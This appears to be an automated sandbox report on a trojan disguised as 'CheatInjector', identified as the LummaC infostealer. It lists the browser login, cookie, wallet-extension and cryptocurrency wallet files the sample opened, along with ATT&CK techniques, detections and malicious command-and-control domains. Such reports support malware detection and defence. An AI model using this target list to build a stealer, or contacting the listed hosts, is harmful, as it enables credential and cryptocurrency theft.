Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior

Source: Yara match	File source: 00000002.00000003.1513864716.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1513114286.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1544263244.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1544663308.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1544410228.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1513425489.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1513586452.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CheatInjector.exe1.exe PID: 8808, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: CheatInjector.exe1.exe PID: 8808, type: MEMORYSTR
Source: Yara match	File source: 2.2.CheatInjector.exe1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.CheatInjector.exe1.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2613622402.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1424311609.0000000002789000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	22 Virtualization/Sandbox Evasion	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	111 Process Injection	LSASS Memory	241 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	22 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	33 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
CheatInjector.exe1.exe	56%	Virustotal		Browse
CheatInjector.exe1.exe	58%	ReversingLabs	Win32.Trojan.LummaC
CheatInjector.exe1.exe	100%	Avira	TR/Crypt.Agent.htgsr

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://jowinjoinery.icu/	100%	Avira URL Cloud	malware
menuedgarli.shop/AUIqn	100%	Avira URL Cloud	malware
https://mrodularmall.top/aNzStH	100%	Avira URL Cloud	malware
https://jowinjoinery.icu/bdWUampress	100%	Avira URL Cloud	malware
https://mrodularmall.top/aNzSf	100%	Avira URL Cloud	malware
https://mrodularmall.top/p	100%	Avira URL Cloud	malware
https://menuedgarli.shop/AUIqnBHR	100%	Avira URL Cloud	malware
https://mrodularmall.top/8	100%	Avira URL Cloud	malware
https://featureccus.shop/bdMAn	100%	Avira URL Cloud	malware
https://jowinjoinery.icu/bdWUa	100%	Avira URL Cloud	malware
https://web.telegram.orgPersistent-AuthWWW-AuthenticateVarystel_ssid=f7cc2ea85f50737ed6_132178671729	0%	Avira URL Cloud	safe
https://jowinjoinery.icu/bdWUaQ	100%	Avira URL Cloud	malware
https://mrodularmall.top/aNzS	100%	Avira URL Cloud	malware
https://mrodularmall.top/aNzSR	100%	Avira URL Cloud	malware
https://mrodularmall.top/aNzSV	100%	Avira URL Cloud	malware
https://mrodularmall.top/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
jowinjoinery.icu	188.114.96.3	true	false	high
t.me	149.154.167.99	true	false	high
mrodularmall.top	104.21.32.1	true	false	high
featureccus.shop	unknown	unknown	false	high
menuedgarli.shop	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://jowinjoinery.icu/bdWUa	false	Avira URL Cloud: malware	unknown
mrodularmall.top/aNzS	false		high
bugildbett.top/bAuz	false		high
menuedgarli.shop/AUIqn	true	Avira URL Cloud: malware	unknown
jowinjoinery.icu/bdWUa	false		high
legenassedk.top/bdpWO	false		high
featureccus.shop/bdMAn	false		high
https://mrodularmall.top/aNzS	false	Avira URL Cloud: malware	unknown
htardwarehu.icu/Sbdsa	false		high
https://t.me/asdawfq	false		high
cjlaspcorne.icu/DbIps	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://jowinjoinery.icu/	CheatInjector.exe1.exe, 00000002.00000002.2614233553.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.2229015326.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.2228620716.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://t.me/	CheatInjector.exe1.exe, 00000002.00000003.1413332602.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1387791649.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1387851158.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1387743522.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://web.telegram.org	CheatInjector.exe1.exe, 00000002.00000003.1387743522.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1387724564.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://jowinjoinery.icu/bdWUampress	CheatInjector.exe1.exe, 00000002.00000002.2614288618.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.2228900501.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.2228620716.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mrodularmall.top/8	CheatInjector.exe1.exe, 00000002.00000003.1564436213.0000000000E21000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://featureccus.shop/bdMAn	CheatInjector.exe1.exe, 00000002.00000003.1413332602.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1413505562.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
